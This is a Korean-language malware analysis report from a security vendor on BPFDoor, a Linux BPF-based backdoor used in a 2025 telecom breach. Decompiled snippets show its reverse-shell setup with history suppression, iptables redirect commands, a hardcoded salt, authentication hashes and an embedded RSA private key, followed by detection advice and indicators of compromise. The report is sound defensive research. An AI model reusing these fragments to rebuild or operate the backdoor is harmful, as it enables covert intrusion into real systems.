PIOLINK

BPFDoor 분석 보고서

사이버위협분석팀

- BPFDoor

1. 개요

2025년 4월 통신사 해킹 사건이 발생했으며, 해당 공격에 BPFDoor라는 악성코드가 사용되었다. 해당 악성코드는 리눅스 기반 백도어로 중국 및 아시아 국가를 표적으로 삼는 APT 그룹인 Red Menshen(또는 Earth Bluecrow라고도 함)에서 주로 사용해 왔다. 해당 공격 그룹에서 21년부터 꾸준히 개선해 왔으며, 22년도에 소스코드가 공개되면서 누구나 변종을 개발할 수 있게 되었다. 이번에 해킹 공격에 사용된 악성코드도 변종으로 누구나 변종을 개발할 수 있어 배후 특정에 어려움이 있다.

2. 악성코드 분석

1) BPF(Berkeley Packet Filter)란?

BPFDoor는 BPF(Berkeley Packet Filter)와 백도어(Backdoor)의 합성어로 BPF 기능을 활용한 백도어를 의미한다. 여기서 BPF란 운영체제의 커널에서 코드를 효과적으로 실행할 수 있게 해주는 기술을 말한다. 초기에는 패킷 필터링 시 커널과 유저 모드 사이에서 전체 패킷 내용 복사에 따른 성능 저하 문제가 발생했다. 이를 해결하기 위해 커널 내부에서 바로 패킷 필터링을 처리하기 위해 BPF 기술을 만들었다. 해당 기술은 커널 수준에서 가상머신을 구현하여 특정 바이트코드를 해석하여 패킷 필터링 등의 동작을 실행한다. 최근에는 eBPF라는 기술로 발전하여 패킷 필터링뿐만 아니라 다양한 기능을 제공한다.

BPFDoor에서는 BPF 기술을 악용하여 탐지를 회피하고 직접 원하는 패킷을 수신하여, 장기적인 은닉 및 지속성을 확보하였다.

2) 중복 실행 확인

BPFDoor 악성코드는 실행 시 "/usr/run/hald-samrtd.pid" 파일의 존재 여부나, 접근 권한 등을 확인한다. 해당 파일이 존재할 경우 동일 악성코드가 실행 중인 것으로 판단하고 악성코드를 종료한다. 이는 다른 악성코드들이 주로 사용하는 mutex 방식과 유사하며, 악성코드 중복 실행 방지를 위해 사용된다. 악성코드가 확인하는 파일 명은 샘플마다 다르다.

```
builtin_strncpy(local_38,"73b9989bb8dd522b8e172f2e985810eb",0x21);
builtin_strncpy(local_68,"d46bf5d43cffd7793665d40fc767ed86",0x21);
local_10 = "/usr/sbin/smartd -n -q never";
DAT_00808190 = "/var/run/hald-smartd.pid";
iVar1 = access("/var/run/hald-smartd.pid",4);
if (iVar1 != 0) {
  _Var2 = getuid();
```

<그림 1> 파일 존재 여부 확인

```
drwxr-xr-x  2 root root   60 Apr 22 22:00 dbus
-rw-r--r--  1 root root    0 May  8 01:43 hald-smartd.pid
prw-------  1 root root    0 Apr 22 22:00 initctl
```

<그림 2> 생성된 pid 파일

파일 명
/var/run/hald-smartd.pid
/var/run/system.pid
/var/run/hp-health.pid
/var/run/hald-addon.pid

<표 1> 하드코딩 된 파일 명

3) 정상 프로세스 위장

BPFDoor는 정상 프로세스로 위장하기 위해 실행 중인 악성코드를 하드코딩 된 값으로 변경한다. 깃허브에 공개된 BPFDoor 소스코드에서는 하드코딩 된 문자열 중 랜덤으로 설정하였으나 최근 발견된 샘플에는 각 샘플마다 1개의 문자열이 하드코딩되어 있다.

프로세스 이름	
/sbin/udevd –d	hald-runner
/sbin/mingetty/	pickup –l –t fifo –u
/usr/sbin/console-kit-daemon –no-daemon	avahi-daemon: chroot helper
hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event	/sbin/auditd –n
dbus-daemon –system	/usr/lib/system/system-journald

<표 2> 공개된 소스 코드에 하드코딩 된 이름 목록

```
builtin_strncpy(local_38,"73b9989bb8dd522b8e172f2e985810eb",0x21);
builtin_strncpy(local_68,"d46bf5d43cffd7793665d40fc767ed86",0x21);
local_10 = "/usr/libexec/hald-addon-volume";
builtin_strncpy(local_38,"73b9989bb8dd522b8e172f2e985810eb",0x21);
builtin_strncpy(local_68,"d46bf5d43cffd7793665d40fc767ed86",0x21);
local_10 = "/usr/sbin/smartd -n -q never";
```

<그림 3> 최근 발견된 샘플 2개

```
root     2178755 2178743  5 01:43 pts/1    00:00:00 zsh
root     2178932       1  0 01:43 ?        00:00:00 /usr/sbin/smartd -n -q never
root     2178949 2178755  0 01:43 pts/1    00:00:00 ps -ef
```

<그림 4> 변경된 프로세스 명

4) 리버스 쉘

BPFDoor는 리버스 쉘 기능을 지원한다. 리버스 쉘은 공격자가 공격 대상 시스템에 원격으로 시스템을 제어할 수 있는 환경을 구성하는 것을 말한다. 쉘 세션이 생성되면 공격자는 원격에서 공격 대상 시스템을 제어할 수 있다.

리버스쉘 세션을 생성할 때 execve 시스템 콜을 이용하여 /bin/bash를 실행한다. 이때 정상 프로세스로 위장하기 위해 인자값을 "qmgr –l –t fifo –u" 로 설정한다. 추가적으로 다양한 환경 변수도 설정하여 분석 및 탐지를 어렵게 만든다.

```
builtin_strncpy(local_8128,"qmgr -l -t fifo -u",0x13);
local_8148 = local_8128;
local_8140 = 0;
local_8138 = 0;
builtin_strncpy(local_8958,"/bin/sh",8);
builtin_strncpy(local_8968,"HOME=/tmp",10);
```

<그림 5> 정상 프로세스 위장 및 환경변수 설정

환경 변수		
HOME	/tmp	홈 디렉토리 설정
PS1	[₩u@₩h ₩W]₩₩$	셸 프롬프트 표시 변경
HISTFILE	/dev/null	bash 히스토리 저장 방지
MYSQL_HISTFILE	/dev/null	mysql 클라이언트 히스토리 저장 방지
PATH	/bin:/usr/kerveros/sbin:/usr/Kerberos/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin:../bin	명령어 경로 설정
TERM	vt100	터미널 타입 설정

<표 3> 환경 변수 설정

BPFDoor는 수신한 패킷에 포함된 비밀번호를 기반으로 이후 행위가 달라진다. 패킷의 0xA 오프셋부터 최대 14바이트 길이의 비밀번호 문자열을 추출하고, 고정된 Salt 문자열(l5*AYbs@LdaWbsO)을 앞에 붙여 전체 문자열을 구성한 후 MD5 해시를 계산한다. 계산된 해시는 하드코딩된 두 개의 해시 값과 비교되어 인증 여부를 결정한다.

```
v12 = 0;
memset(s2, 0, sizeof(s2));
v11 = 0;
*(_QWORD *)dest = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
strcpy(src, "I5*AYbs@LdaWbsO");                // 고정된 Salt 문자열
strcpy(dest, src);
if ( incoming_pass )
  strncat(dest, incoming_pass, 0xEuLL);
sub_402A79(dest, s2);                          // 해시값 생성
v1 = strlen(s1);
v12 = memcmp(s1, s2, v1);
if ( !v12 )
  return 0LL;
v3 = strlen(s);
v12 = memcmp(s, s2, v3);
if ( v12 )
  return 2LL;
else
  return 1LL;
```

<그림 6> 해시 값 생성

```
strcpy(v7, "73b9989bb8dd522b8e172f2e985810eb");
strcpy(v6, "d46bf5d43cffd7793665d40fc767ed86");
```

<그림 7> 하드코딩된 해시 값

첫 번째 해시와 일치하면 0을 반환하고, 두 번째 해시와 일치하면 1을 반환한다. 둘 다 일치하지 않으면 2를 반환한다. BPFDoor는 두 조건 중 하나라도 만족할 경우 자식 프로세스를 생성해 추가적인 악성 행위를 수행한다.

```
if ( v4 )                                      // 해시값 검증
{
  if ( v4 == 1 )                               // 두 번째 해시와 일치하는 경우
  {
    v5 = inet_ntoa(*(struct in_addr *)(v23 + 12));
    strcpy(dest, v5);
    v6 = ntohs(*((_WORD *)v24 + 1));
    sub_4032E2(dest, v6);
  }
}
else if ( *((_DWORD *)v25 + 6) == -1 || !*((_DWORD *)v25 + 6) )// 첫 번째 해시와 일치 또는 패킷 데이터 결과 값이 -1
{
  v19 = b_sub_402A9B_connect_TCP(v27, *((_WORD *)v25 + 4));
  if ( v19 > 0 )
    sub_403C21(v19, 0LL, 0LL, 0);
}
else                                           // fork() 없이 바로 공격자 서버로 패킷을 전송
{
  v27 = *((_DWORD *)v25 + 6);
  *((_DWORD *)v25 + 6) = -1;
  *(_DWORD *)v25 = 21874;
  sub_40225D(v27, v25);
}
```

<그림 8> 해시 값에 따른 분기문

또한 쉘 통신을 위한 인증서가 악성코드 내부에 포함되어 있다.

```
local_40 =
"-----BEGIN CERTIFICATE-----\nMIIB+zCCAWQCCQCqP/hy9MbncDANBgkqhkiG9w0BAQUFADBCMQswCQYDVQQGEwJY\n
WDEVMBMGA1UEBwwMRGVmYXVsdCBDaXR5MRwwGgYDVQQKDBNEZWZhdWx0IENvbXBh\nbnkgTHRkMB4XDTE5MTAyNDAyMzMyM1
oXDTI5MTAyMTAyMzMyM1owQjELMAkGA1UE\nBhMCWFgxFTATBgNVBAcMDERlZmF1bHQgQ2l0eTEcMBoGA1UECgwTRGVmYXVs
dCBD\nb21wYW55IEx0ZDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAss3mAq7Xnwzr\nabH2SfTqfAc93z5aa048/FDN
9ywBvBdXKH9OfXpnLe4vkPZkBQNCSdRn/cnfuYt6\n+w4ckpCxkJ0GDQQ2Iu0DeWtPZ8YJEKxw32peLxF4SHmyHZ1k2kal4q
Gz5Ula2xUk\n6JrG1h+aaZGIV6UOUJMK4Upubbrfy88CAwEAATANBgkqhkiG9w0BAQUFAAOBgQAt\nCj+K1Hl//ucu0jZkMW
jqJCRsXLZH2xJeT1XLAqjPH7qIv2uZg/dAnhQ7kjnh1Kd3\n+dKGvys72lJtFuTjo+9q2Khx7dmbCev1WNXeAJX40LKp48XZ
6kwj2qPQ2nB+Y59c\nkToCrBzm44iEH3TGIinRg8TWQOqxLJlO5Xzl+JIsTg==\n-----END CERTIFICATE-----"
;
local_48 =
"-----BEGIN RSA PRIVATE KEY-----\nMIICXAIBAAKBgQCyzeYCrtefDOtpsfZJ9Op8Bz3fPlprTjz8UM33LAG8F1cof0
59\nemct7i+Q9mQFA0JJ1Gf9yd+5i3r7DhySkLGQnQYNBDYi7QN5a09nxgkQrHDfal4v\nEXhIebIdnWTaRrXiobPlTVrbFS
TomsbWH5ppkYhXpQ5QkwrhSm5tut/LzwIDAQAB\nAoGAQl2kAtjslU9RTYDNXnP2WKTDdUoKe4ulnS1M1XJTDoJHSnO+KVq2
U1j19MNP\nKoEkKI0bMBqu3IqF0gtR1aC5Fsm1WySlJkk5mUNAKGx3iLp/DOWnyufDnbltPfQ+\nUn2BDyrDKCunhM/4sylx
fE92ZGkOEECr7kDAa9Q4sIL2b3kCQQDnJi74qgSZxbTu\nQgAhJtkNVkwtAQkQyZw8K1taf645iw1MEono5NoqyO8KVwlSj3
UomJP5O1jdiY5v\n/YOd5fD9AkEAxgcM4lo+xxek2AzfHkJXww5/87gXnu2yWAl0SxSAgnQFkY0pb67W\n8KMFokdjzVHN/f
bP8fSCRflAMp4Tkky/uwJALhyt7ilstYh9abJ8+CAZ2NFIbQnx\n1wmBQ3eax9kE1rHouy5PmMhexX5EQZnPYEsCIlEd4/B0
7+0LH0hBw3QluQJBAIvA\nsATHTKSe+BQNSW0Gbv9WfVBX7DuaDpH44hyWdHccQE3PLJ4H6uLaegBjl3hwMgr4\nIxrjbwjI
9diDHNbT2T8CQEyUbGo3EsC+n4xlI7RK24tSHpKfgIlMpSez+oJqAl7z\ntbrzZnI2fpFbjmUUZwQls1S1yYd0Cwh3YiPsrZ
A0uXo=\n-----END RSA PRIVATE KEY-----"
```

<그림 9> 내부에 포함된 인증서

5) 방화벽 정책 설정

반환된 해시 값이 1일 경우 공격자 IP에서 지정된 포트로 들어오는 트래픽을 내부 랜덤 포트(42931 ~ 43390 범위)로 보내는 방화벽 정책을 설정한다. 공격자 IP에 대한 접근을 허용하는 정책 또한 설정한다.

```
builtin_strncpy(local_678,
                "/sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-port
                s %d"
                ,0x56);
builtin_strncpy(local_6d8,
                "/sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-port
                s %d"
                ,0x56);
builtin_strncpy(local_708,"/sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT",0x2f);
builtin_strncpy(local_738,"/sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT",0x2f);
local_c = FUN_00403d99(&local_14);
```

<그림 10> 방화벽 정책 설정

3. 대응방안

1) 의심스러운 프로세스 및 파일 이름 검사

- /var/run/hald-smartd.pid, /var/run/system.pid, /var/run/hp-health.pid, /var/run/hald-addon.pid 등 의심스러운 파일이 있는지 확인한다.

- /sbin/udevd –d, dbus-daemon –system, /sbin/auditd –n 등의 의심스러운 프로세스가 동작중인지 확인한다.

2) 네트워크 검사

- BPFDoor에서 iptables에 42391 ~ 43390 포트로 리다이렉션하는 방화벽 정책을 설정하기 때문에 해당 포트 범위에서 비정상 트래픽이 발생하는지 확인한다.

위 대응 방안 외에도 파이오링크에서는 BPFDoor 악성코드 점검 도구(https://www.piolink.com/kr/service/Security-Analysis.php?bbsCode=security&vType=view&idx=141&page=1)를 배포하고 있으며, 해당 도구를 통해 악성코드 감염 여부를 확인할 수 있다.

4. 결론

BPFDoor가 오픈소스를 기반으로 생성한 악성코드기 때문에 앞으로 다양한 변종 악성코드가 등장할 것으로 예상되며, 이에 따른 지속적인 모니터링 및 주의가 필요하다.

5. IoC 정보

- C2

165[.]232[.]174[.]130

- 악성코드(SHA256)

c7f693f7f85b01a8c0e561bd369845f40bff423b0743c7aa0f4c323d9133b5d4

3f6f108db37d18519f47c5e4182e5e33cc795564f286ae770aa03372133d15c4

95fd8a70c4b18a9a669fec6eb82dac0ba6a9236ac42a5ecde270330b66f51595

aa779e83ff5271d3f2d270eaed16751a109eb722fca61465d86317e03bbf49e4

925ec4e617adc81d6fcee60876f6b878e0313a11f25526179716a90c3b743173

29564c19a15b06dd5be2a73d7543288f5b4e9e6668bbd5e48d3093fb6ddf1fdb

be7d952d37812b7482c1d770433a499372fde7254981ce2e8e974a67f6a088b5

027b1fed1b8213b86d8faebf51879ccc9b1afec7176e31354fbac695e8daf416

a2ea82b3f5be30916c4a00a7759aa6ec1ae6ddadc4d82b3481640d8f6a325d59

e04586672874685b019e9120fcd1509d68af6f9bc513e739575fc73edefd511d

adfdd11d69f4e971c87ca5b2073682d90118c0b3a3a9f5fbbda872ab1fb335c6

7c39f3c3120e35b8ab89181f191f01e2556ca558475a2803cb1f02c05c830423

6. 참고

https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71726&menuNo=205020

https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71735

https://www.trendmicro.com/en_us/research/25/d/bpfdoor-hidden-controller.html

https://www.trendmicro.com/vinfo/us/security/news/threat-landscape/how-bpf-enabled-malware-works-bracing-for-emerging-threats

https://www.trendmicro.com/en_us/research/23/g/detecting-bpfdoor-backdoor-variants-abusing-bpf-filters.html